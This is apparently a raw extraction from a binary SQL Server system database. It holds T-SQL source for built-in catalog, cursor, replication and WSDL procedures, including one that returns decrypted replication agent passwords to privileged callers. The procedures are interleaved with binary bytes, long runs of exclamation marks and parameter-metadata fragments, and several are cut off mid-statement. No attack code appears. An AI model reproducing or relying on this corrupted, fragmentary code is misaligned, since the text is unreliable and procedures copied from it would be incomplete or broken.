    exec @ret = sp_cursoropen @handle output,
        'select * from #sptabpriv',
        @scrollopt output, @ccopt output, @rows output
    drop table #sptabpriv
    return @ret
0@ R8
create procedure sys.sp_ddopen;12
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774),
    @p5             nvarchar(774),
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret int

    create table #sptables
    (
        TABLE_QUALIFIER sysname collate catalog_default null,
        TABLE_OWNER sysname collate catalog_default null,
        TABLE_NAME sysname collate catalog_default null,
        TABLE_TYPE  varchar(32) collate catalog_default null,
        REMARKS varchar(254) collate catalog_default null
    )

    if @procname = 'sp_tables' or @procname = '[sys].sp_tables'
    begin
        insert into #sptables exec sys.sp_tables @p1,@p2,@p3,@p4,@fUsePattern
    end
    else
    begin
        insert into #sptables exec sys.sp_tables_ex @p1,@p2,@p3,@p4,@p5,@fUsePattern
    end

    exec @ret = sp_cursoropen @handle output,
        'select * from #sptables',
        @scrollopt output, @ccopt output, @rows output
    drop table #sptables
    return @ret
0
@ 8
create procedure sys.sp_ddopen;13
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),  -- @table_name
    @p2             nvarchar(774),  -- @table_owner
    @p3             nvarchar(774),  -- @table_qualifier
    @p4             nvarchar(774),  -- @table_type
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret            int

    create table #sptableswc
    (
        TABLE_QUALIFIER sysname collate catalog_default null,
        TABLE_OWNER sysname collate catalog_default null,
        TABLE_NAME sysname collate catalog_default null,
        TABLE_TYPE varchar(254) collate catalog_default null,
        REMARKS varchar(254) collate catalog_default null
    )

    exec sys.sp_tableswc @p1, @p2, @p3, @p4, @fUsePattern, 1

    exec @ret = sp_cursoropen @handle output,
        'select * from #sptableswc',
        @scrollopt output, @ccopt output, @rows output

    drop table #sptableswc

    return @ret
07 C8CREATE PROCEDURE sys.sp_MSget_repl_cmds_anonymous
(
    @agent_id int,
    @last_xact_seqno varbinary(16),
    @no_init_sync bit = 0,
    @get_count tinyint = 0,
    @compatibility_level int = 7000000
)
as
begin
   set nocount on

   declare @virtual_agent_id int    /* virtual sub agent id */
            ,@anonymous_agent_id int  /* virtual anonymous agent id */
            ,@retcode int

    -- Note @agent_id will be overwritten later.
    select  @virtual_agent_id =   virtual_agent_id,
            @anonymous_agent_id = anonymous_agent_id
        from MSdistribution_agents where
            id = @agent_id
    
    -- Return error if agent entry does not exists (being deleted).
    if @virtual_agent_id is null
    begin
        raiserror(21072, 16, -1)
        return(1)
    end

    -- If no init sync, use anonymous account to start immediately.
    -- If first time or right after reinit,  use virtual account. 
    -- otherwise use virtual anonymous account
    if  @no_init_sync = 1 
        select @agent_id = @anonymous_agent_id
    else if @last_xact_seqno = 0x00 
        select @agent_id = @virtual_agent_id
    else
        select @agent_id = @anonymous_agent_id
    --
    -- Call main procedure to get commands
    -- PAL security check done inside this sp
    --
    exec @retcode = sys.sp_MSget_repl_commands 
        @agent_id = @agent_id,
        @last_xact_seqno = @last_xact_seqno,
        @get_count = @get_count,
        @compatibility_level = @compatibility_level

    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!	+`<19̻b	0  8CREATE FUNCTION sys.dm_exec_xml_handles (@spid int)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE DM_EXEC_XML_HANDLES, @spid)
0 / 8create procedure sys.sp_MSscript_insert_pubwins 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
)
as
begin
	declare @cmd nvarchar(4000)
			,@artid int
			,@pubid int
			,@dest_table sysname
			,@dest_owner nvarchar(260)
			,@rc int
			,@qualname nvarchar(517)
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	select @pubid = pubid from syspublications where name = @publication
	select @artid = artid, @dest_table = dest_table, @dest_owner = dest_owner
	from sysarticles where name = @article and pubid = @pubid
	select @dest_owner = case when (@dest_owner IS NULL) then N''
				else quotename(@dest_owner) + N'.' end
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	if (@execution_mode = @QPubWins)
	begin
		'+N'--
		'+N'-- Publisher wins resolution
		'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- declare fetch variables for cursor
	--
	exec @rc = sp_scriptpubwinsrefreshcursorvars @objid
	--
	-- continue scripting
	--
	select @cmd = N'

		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- Perform single row delete generations first
		'+N'-- --------------------------------------------------------------------
		'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'

		'+N'--
		'+N'-- Generate DELETE for PK
		'+N'--
		if (@cftcase in (21,22,23))
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- Generate the delete compensating code
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'qcft_comp', NULL, 0, 'ins'
	--
	-- generate the send command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end

		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- Perform refresh(delete+insert) generations next
		'+N'-- --------------------------------------------------------------------
		'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script this block if the article has non PK unique keys
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'

		'+N'--
		'+N'-- Generate delete+insert for values of non PK keys
		'+N'--
		if (@cftcase = 22)
		begin'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- generate delete compensating command for values of non PK unique keys
		--
		select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
					+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = NULL
					,@mode = 5
		--
		-- script the sending command
		--
		exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
		--
		-- script the refresh commands for values of non PK unique keys
		--
		exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 3, 0
		if (@rc != 0 or @@error != 0)
			return 1
		--
		-- continue scripting
		--
		select @cmd = N'
		end'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
		'+N'--
		'+N'-- Generate delete+insert for values of all keys
		'+N'--
		if (@cftcase = 21)
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate delete compensating command for values of all unique keys
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = NULL
				,@mode = 4
	--
	-- script the sending command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- script the refresh commands for values of all unique keys
	--
	exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 5, 0
	if (@rc != 0 or @@error != 0)
		return 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end
		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- all done for conflict resolution for Publisher Wins policy
		'+N'-- --------------------------------------------------------------------
		'+N'--
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0
end
0L5( D8-- this proc returns the max generation to bcp out. This essentially same
-- as finding a possible watermark generation. The generation is the max
-- closed generation lower than the min open generation.
-- this proc is called by snapshot to determine till how much it should bcp
create procedure sys.sp_MSgetmaxbcpgen
    @max_closed_gen bigint output
as
    declare @retcode int

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    select @max_closed_gen = max(g.generation) 
        from MSmerge_genhistory g,
        (select isnull(gen2.generation, gen1.generation) as generation
            from (select max(generation) as generation from dbo.MSmerge_genhistory where genstatus in (1,2)) as gen1,
                 (select min(generation) as generation from dbo.MSmerge_genhistory where genstatus in (0,4)) as gen2
        ) as minopengen
    where g.generation <= minopengen.generation and g.genstatus in (1,2)

    if @max_closed_gen is NULL
        select @max_closed_gen = 0
HEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_28,           -- for backward compatibility
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_28,      -- for backward compatibility
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_28,   -- for backward compatibility
        IS_COMPUTED             = s_cv.IS_COMPUTED

    from
        sys.spt_columns_view s_cv

    where
        (
            (@table_schema is null and s_cv.TABLE_NAME = @table_name) or
            s_cv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
02 D8qh!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-l	W)i
<0-A4OTABLE_CATALOG0-A4MTABLE_SCHEMA0-A4ITABLE_NAME0-A4KCOLUMN_NAME0-A$$KCOLUMN_GUID0-A88
OCOLUMN_PROPID0-A88
CORDINAL0-AC@server0-AE@catalog0-AC@schema0-AG@tbl_name0-S@procedure_name0-U@procedure_owner0-]@procedure_qualifier0-M@column_name0-88
E@ODBCVer0-hhM@fUsePattern0-.K@table_name0-.K@index_name0-.O@table_schema0-.K@index_name0-.O@table_schema0-.O@table_server0-.Q@table_catalog0-.K@table_name0-.K@index_name0-.O@table_schema0-M@publication0-E@article0-I@publisher0-S@publisher_type0-M88
Q@verbose_level0-M
K@drop_table0-aM@publication0-a88
G@category0-ahhQ@empty_tranpub0-鷩M@publication0-鷩E@article0-鷩88
A@objid0-hI@publisher0-h88
S@publication_id0-h88
K@article_id0-hK@tablespace0-I@publisher0-O@publisher_db0-M@publication0-hh[@valid_agent_exists0-U?@name0-UI@publisher0-UO@publisher_db0-UM@publication0-UhhI@local_job0-UhhO@job_existing0-UC@job_id0-U44e@publisher_security_mode0-U	U@publisher_login0-U
[@publisher_password0-UI@job_login0-UO@job_password0-U
S@publisher_type0-UG@internal0-U88
g@publisher_engine_edition0-I@publisher0-O@publisher_db0-M@publication0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-	88
m@frequency_recurrence_factor0-
88
Y@active_start_date0-88
U@active_end_date0-88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-Y@snapshot_job_name0-88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-I@job_login0-O@job_password0-S@publisher_type0-$$A@repid0-$$A@artid0-$$A@pubid0-88
C@output0-hh]@force_generate_procC@job_id0-U44e@publisher_security_mode0-U	U@publisher_login0-U
[@publisher_password0-UI@job_login0-UO@job_password0-U
S@publisher_type0-UG@internal0-U88
g@publisher_engine_edition0-$$A@subid0-88
Q@keep_sessions0-I@publisher0-dkJ5[@QZoZ2[B	g1Hc
d

~
1
Gc2'		8m*E`-8)
ڊ0-hhM@fUsePattern0-88
C@handle0-G@procname0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-	;@p40-
;@p50-hhM@fUsePattern0-
88
C@handle0-
G@procname0-
88
I@scrollopt0-
88
A@ccopt0-
88
?@rows0-
;@p10-
;@p20-
;@p30-
	;@p40-

hhM@fUsePattern0-788
G@agent_id0-7U@last_xact_seqno0-7hhO@no_init_sync0-700I@get_count0-788
]@compatibility_level0-ΑI@publisher0-ΑO@publisher_db0-ΑM@publication0-ΑE@article0-ΑK@subscriber0-ΑQ@subscriber_db0-ΑhhO@is_pub_range0-Α00W@ranges_allocated0-Α	ll&M@range_begin0-Α
ll&I@range_end0-Αll&W@next_range_begin0-Αll&S@next_range_end-"hh0-"$$A@pubid0-0h$$A@pubid0-0h44_@use_partition_groups0-0hhhU@dynamic_filters0-0hhhg@can_use_partition_groups0-0hhh]@has_dynamic_filters0-0hq@dynamic_filters_function_list0-0hhhS@uses_host_name0-0hhhW@uses_suser_sname0-*I@publisher0-*O@publisher_db0-*M@publication0-*M@server_name0-*E@db_name0-*K@web_server0-*88
M@compatlevel!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Ehn=,
h

O4G

J
		W		v)x=Gt'v;7`-8)i\0-?44=spid0-?44=kpid0-?44Cblocked0-?Ewaittype0-?Ewaittime0-?@4@Mlastwaittype0-?4Mwaitresource0-?44=dbid0-?	88
;uid0-?
88
;cpu0-?Kphysical_io0-?88
Ememusage0-?
==Ilogin_time0-?==Ilast_batch0-?44=ecid0-?44Gopen_tran0-?<4<Astatus0-?VV;sid0-?4Ehostname0-?4Mprogram_name0-?4Khostprocess0-? 4 ;cmd0-?4Gnt_domain0-?4Knt_username0-?4Knet_address0-?4Knet_library0-?4Eloginame0-?Mcontext_info0-?Isql_handle0-?88
Istmt_start0-?88
Estmt_end0-? 88
Irequest_id0-4@M=name0-4@MAsource0-4@MhhIis_enabled-1\hh0-1\88
G@position0-1\M@update_mask0-AU@distribution_db0-OMM@publication0-OMG@property0-OMA@value0-OMhhi@force_invalidate_snapshot0-OMhhi@force_reinit_subscription0-OMI@publisher0-
YW@primary_database0-
YW@secondary_server0-
Y[@secondary_database0-
YhhI@overwrite0-2W$$A@pubid0-2W$$A@artid0-2WI@next_seed0-2WA@range0-2W88
I@threshold0-BL$$A@pubid0-BL88
K@haschangesG

	

0
7l+'}6
	E		
z1Vu.[S?~Ab`2-$)H;0-!=#YCHARACTER_SET_NAME0-!=$_CHARACTER_SET_NAME_900-!=%_CHARACTER_SET_NAME_280-!=&WCOLLATION_CATALOG0-!=']COLLATION_CATALOG_900-!=(]COLLATION_CATALOG_280-!=)UCOLLATION_SCHEMA0-!=*[COLLATION_SCHEMA_900-!=+[COLLATION_SCHEMA_280-!=,QCOLLATION_NAME0-!=-WCOLLATION_NAME_900-!=.WCOLLATION_NAME_280-!=/QDOMAIN_CATALOG0-!=0ODOMAIN_SCHEMA0-!=1KDOMAIN_NAME0-!=2KDESCRIPTION0-!=388
KCOLUMN_LCID0-!=488
QCOLUMN_LCID_900-!=588
QCOLUMN_LCID_280-!=688
UCOLUMN_COMPFLAGS0-!=788
[COLUMN_COMPFLAGS_900-!=888
[COLUMN_COMPFLAGS_280-!=988
OCOLUMN_SORTID0-!=:[COLUMN_TDSCOLLATION0-!=;aCOLUMN_TDSCOLLATION_900-!=<aCOLUMN_TDSCOLLATION_280-!==hhKIS_COMPUTED0-!=>{SS_XML_SCHEMACOLLECTION_CATALOGNAME0-!=?ySS_XML_SCHEMACOLLECTION_SCHEMANAME0-!=@kSS_XML_SCHEMACOLLECTIONNAME0-!=AYSS_UDT_CATALOGNAME0-!=BWSS_UDT_SCHEMANAME0-!=CKSS_UDT_NAME0-!=D@@eSS_UDT_ASSEMBLY_TYPENAME0-!=EhhMSS_IS_SPARSE0-!=FhhUSS_IS_COLUMN_SET6/
k
	w	,	je
d}2;8+w`-)bi-0-T6G@loginame0-T6I@logintype0-6Ocache_address0-64=name0-6x4x=type0-6Epages_kb0-6Spages_in_use_kb0-6Oentries_count0-6]entries_in_use_count0-688
Kpdw_node_id0-kU88
G@agent_id0-kU88
O@no_init_sync0-kUU@last_xact_seqno0-J'aO@etiTableName3HQ|?`-)gA(#/0-~4*@@eSS_UDT_ASSEMBLY_TYPENAME0-~4+hhMSS_IS_SPARSE0-~4,hhUSS_IS_COLUMN_SET`-w4)0h޻;0-o K@table_name0-o M@table_owner0-o U@table_qualifier0-o M@column_name0-o 88
E@ODBCVer0-o hhM@fUsePattern0-XZG@typename0-$=M@schema_name0-$=W@target_namespace0-fu0hhA@onoff-820-8288
I@articleid0-8288
E@tableid0-8288
M@publisherid0-C88
Q@failure_level0-jeC@ddlcmd0-jeK@FirstToken0-jeK@objectType0-,W88
A@objid0-,W88
A@colid0-,W88
A@artid0-,W00Y@bGetTextImageInfo0-,WE@colname0-,WG@ccoltype0-N[c88
;@id0-3I@publisher0-3O@publisher_db0-3M@publication0-388
M@sync_method0-҉( S@filtered_table0-҉( O@joined_table0-".M@publication0-".M@suser_sname0-".I@host_name0-".g@dynamic_snapshot_jobname0-".$$c@dynamic_snapshot_jobid0-".88
S@frequency_type0-".88
[@frequency_interval0-".88
W@frequency_subday0-".	88
i@frequency_subday_interval0-".
88
m@frequency_relative_interval0-".88
m@frequency_recurrence_factor0-".88
Y@active_start_date0-".
88
U@active_end_date0-".88
g@active_start_time_of_day0-".88
c@active_end_time_of_day0-^M@publication0-^M@suser_sname0-^I@host_name0-,=@gen0-,88
G@art_nick0-,hhO@is_local_genC@dbname0-jeA@owner0-jeE@objname0-jeO@targetobject0-,W88
A@objid0-,W88
A@colid0-,W88
A@artid0-,W00Y@bGetTextImageInfo0-,WE@colname0-,WG@ccoltype0-88
A@artid0-00?@mode0-00Q@publishertype0-I@publisher0-SI@publisher0-ShhE@enabled0-S88
G@interval0-N[c88
;@id0-3I@publisher0-3O@publisher_db0-3M@publication0-388
M@sync_method0-3f88
[@heartbeat_interval0-800?@mode0-8I@publisher0-888
g@publisher_engine_edition0-8hhw@about_to_insert_new_subscription0-҉( S@filtered_table0-҉( O@joined_table0-".M@publication0-".M@suser_sname0-".I@host_name0-".g@dynamic_snapshot_jobname0-".$$c@dynamic_snapshot_jobid0-".88
S@frequency_type0-".88
[@frequency_interval0-".88
W@frequency_subday0-".	88
i@frequency_subday_interval0-".
88
m@frequency_relative_interval0-".88
m@frequency_recurrence_factor0-".88
Y@active_start_date0-".
88
U@active_end_date0-".88
g@active_start_time_of_day0-".88
c@active_end_time_of_day0-^M@publication0-^M@suser_sname0-^I@host_name0-,=@gen0-,88
G@art_nick[C6L,QdsV	qXO

:
`E

(
		E	M`'-K)C'J2Ƶ0-G@viewname0-}ȟxx?event0-}ȟHHEevent_id0-}ȟ==Kcreate_time0-}ȟ88
Isession_id0-}ȟ88
;cpu0-}ȟ88
?reads0-}ȟ88
Awrites0-}ȟ@@Esql_text0-}ȟ	Sclient_app_name0-}ȟ
Itsql_stack0-}ȟ88
Kpdw_node_id0-$$Ireplica_id0-$$Egroup_id0-hhEis_local0-00=role0-xxGrole_desc0-00Woperational_state0-xxaoperational_state_desc0-00Sconnected_state0-	xx]connected_state_desc0-
00Srecovery_health0-xx]recovery_health_desc0-00asynchronization_health0-
xxksynchronization_health_desc0-88
glast_connect_error_number0-4qlast_connect_error_description0-==mlast_connect_error_timestamp0-@G@password0-t%M@publication0-t%8Q@source_object0-t%<K@str_prefix0-t%S@conflict_table0-O88
O@publisher_id0-OO@publisher_db0-OM@publication0-OQ@subscriber_db0-OU@subscriber_name0-O$$U@anonymous_subid0-O88
G@agent_id0-OhhK@reinitanon0-Q@source_schema0-M@source_name0-W@capture_instance-f^88
0-f^Q@source_schema0-f^M@source_name0-f^M@column_name0-I=I@ownername0-I=I@tablename0-I=$$E@rowguid0-I=(?@show0-M@publication0-
e@reinitialize_subscriber0-88
S@tablenick_last0-$$O@rowguid_last0-$$A@pubid0-88
G@max_rows0-U)$$A@pubid0-U)$$A@subid0-U)$$O@replicastate0-U)K@subscriber0-U)Q@subscriber_db0-U);;]@subscriber_priority0-U)00U@subscriber_type0-U)88
Y@subscription_type0-U)	00I@sync_type0-U)
M@publication0-U)M@distributor0-U)88
U@replica_version0-I@tablename0-E@colname0-88
?@type0-
E@keyname0-88
A@flagsOdest_datatype0-'Kdest_length0-'Qdest_precision0-'88
Idest_scale0-'hhOdest_nullable0-'	hhEis_pkcol0-'
hhIis_defined0-'hhMis_published0-'hhEis_valid0-'
hhEdataloss0-'88
Imapping_id0-'88
O@publisher_id0-'88
G@table_id0-'88
K@article_id0-'S@publisher_dbms0-'Y@publisher_version0-'hhG@defaults0-t%M@publication0-t%8Q@source_object0-t%<K@str_prefix0-t%S@conflict_table0-O88
O@publisher_id0-OO@publisher_db0-OM@publication0-OQ@subscriber_db0-OU@subscriber_name0-O$$U@anonymous_subid0-O88
G@agent_idMbH:G

	{2GV

	m	2C@e$&	HveTy4[z9v+
r
!
`1
<2%Su0 8
create procedure sys.sp_http_generate_wsdl_defaultsimpleorcomplex
	@EndpointID int,
	@IsSSL bit,
	@Host nvarchar(256),
	@QueryString nvarchar(256),
	@UserAgent nvarchar(256) as
begin
	select @QueryString = LOWER (@QueryString collate Latin1_General_CI_AS)
	if @QueryString = N'wsdl'
	begin
		exec sys.sp_http_generate_wsdl_simple @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	if @QueryString = N'wsdlsimple'
	begin
		exec sys.sp_http_generate_wsdl_simple @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	if @QueryString = N'wsdlcomplex'
	begin
		exec sys.sp_http_generate_wsdl_complex @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	raiserror(17885, 16, 1)
end
0Fw D8Jhd40/ 
8create procedure sys.sp_MShelp_repl_agent
(
	@publisher		sysname,
	@publisher_db	sysname,
	@publication	sysname = NULL,
	@subscriber 	sysname = NULL, 
	@subscriber_db	sysname = NULL,	
	@agent_type		int 				-- 0: Distribution  1: ReplMerge 2: Logreader 3: Queued
)
as
begin
	set nocount on
	
	declare @retcode 					int,
			@publisher_id				int,
			@subscriber_id				int,
			@publisher_security_mode 	int,
			@publisher_login 			sysname,
			@publisher_password 		nvarchar(524),
			@subscriber_security_mode 	int,
			@subscriber_login 			sysname,
			@subscriber_password 		nvarchar(524)

	-- make sure this is a replication agent.
	if sessionproperty('replication_agent') != 1
	begin
		-- "You do not have sufficient permission to run this command."
		raiserror(14260, 16, -1)
		return 1 
	end

	-- sysadmin or db_owner have access
	if is_srvrolemember('sysadmin') != 1 
		and is_member('db_owner') != 1
	begin
		-- "You do not have sufficient permission to run this command."
		raiserror(14260, 16, -1)
		return 1
	end

	-- Has to be executed from distribution database
	if sys.fn_MSrepl_isdistdb (db_name()) != 1
	begin
		-- "sp_MShelp_repl_agent can only be executed in the distribution database."
		raiserror (21482, 16, -1, 'sp_MShelp_repl_agent', 'distribution')
		return 1
	end

	-- retrieve server ids
	select @publisher_id = srvid
		from master..sysservers
		where upper(srvname) = upper(@publisher)
	
	select @subscriber_id = srvid
		from master..sysservers
		where upper(srvname) = upper(@subscriber)

	select @subscriber_security_mode = 1,
			@subscriber_login = NULL,
			@subscriber_password = NULL,
				@publisher_security_mode = 1,
			@publisher_login = NULL,
			@publisher_password = NULL

	-- Distribution and Queued Agent
	if @agent_type in (0, 3)
	begin
		select msda.subscriber_security_mode,
				msda.subscriber_login,
				sys.fn_repldecryptver4(msda.subscriber_password)
			from MSdistribution_agents msda
			where msda.publisher_id = @publisher_id
				and msda.publisher_db = @publisher_db
				and (msda.publication = @publication
						or lower(msda.publication) = N'all')
				and msda.subscriber_id = @subscriber_id
				and msda.subscriber_db = @subscriber_db
		if @@error <> 0 return 1
	end
	-- Merge Agent
	else if @agent_type = 1
	begin
		select msma.subscriber_security_mode,
				msma.subscriber_login,
				sys.fn_repldecryptver4(msma.subscriber_password),
				msma.publisher_security_mode,
				msma.publisher_login,
				sys.fn_repldecryptver4(msma.publisher_password)
			from dbo.MSmerge_agents msma
			where msma.publisher_id = @publisher_id
				and msma.publisher_db = @publisher_db
				and msma.publication = @publication
				and UPPER(msma.subscriber_name) = UPPER(@subscriber)
				and msma.subscriber_db = @subscriber_db
		if @@error <> 0 return 1
	end
	-- Logreader Agent
    else if @agent_type = 2
	begin
		-- retrieve the publisher server and database name
		select @publisher_security_mode = msla.publisher_security_mode,
				@publisher_login = msla.publisher_login,
				@publisher_password = sys.fn_repldecryptver4(msla.publisher_password)
        	from MSlogreader_agents msla
			where msla.publisher_id = @publisher_id 
				and msla.publisher_db = @publisher_db
		if @@error <> 0 return 1

		select @publisher_security_mode,
				@publisher_login,
				@publisher_password
	end
	
	return 0
end
0%B 8create procedure sys.sp_is_trace_flag_to_bypass_proc_gen_set(@bypass_proc_gen bit output)
as
begin
	declare @tracetable
		table(trace_flag sysname,
			status bit,
			global bit,
			session bit)

	declare @cmd nvarchar(1000)

	set @bypass_proc_gen = 0
	set @cmd = N'DBCC TRACESTATUS (8218)'

	insert into @tracetable exec sp_executesql @cmd

	select @bypass_proc_gen = status from @tracetable

	return 0
end
d <> db_id() or is_member('db_owner') <> 1)
	begin
		raiserror(15418,-1,-1)
		return (1)
	end

	-- If we're in a transaction, disallow this since it might make recovery impossible.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dbcmptlevel')
		return (1)
	end

	set @exec_stmt = 'ALTER DATABASE ' + quotename(@dbname, '[') + ' SET COMPATIBILITY_LEVEL = ' + cast(@input_cmptlevel as nvarchar(128))

	-- Note: database @dbname may not exist anymore
	exec(@exec_stmt)

	select @new_cmptlevel = @input_cmptlevel

	return (0) -- sp_dbcmptlevel
0F 8
create procedure sys.sp_views_rowset
(
    @view_name      sysname,
    @view_schema    sysname = null
)
as
    select
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(a_v.schema_id),
        TABLE_NAME      = a_v.name,
        VIEW_DEFINITION = convert(nvarchar(1),null),
        CHECK_OPTION    = convert(bit, NULL),
        IS_UPDATABLE    = convert(bit, NULL),
        DESCRIPTION     = convert(nvarchar(1),null),
        DATE_CREATED    = a_v.create_date,
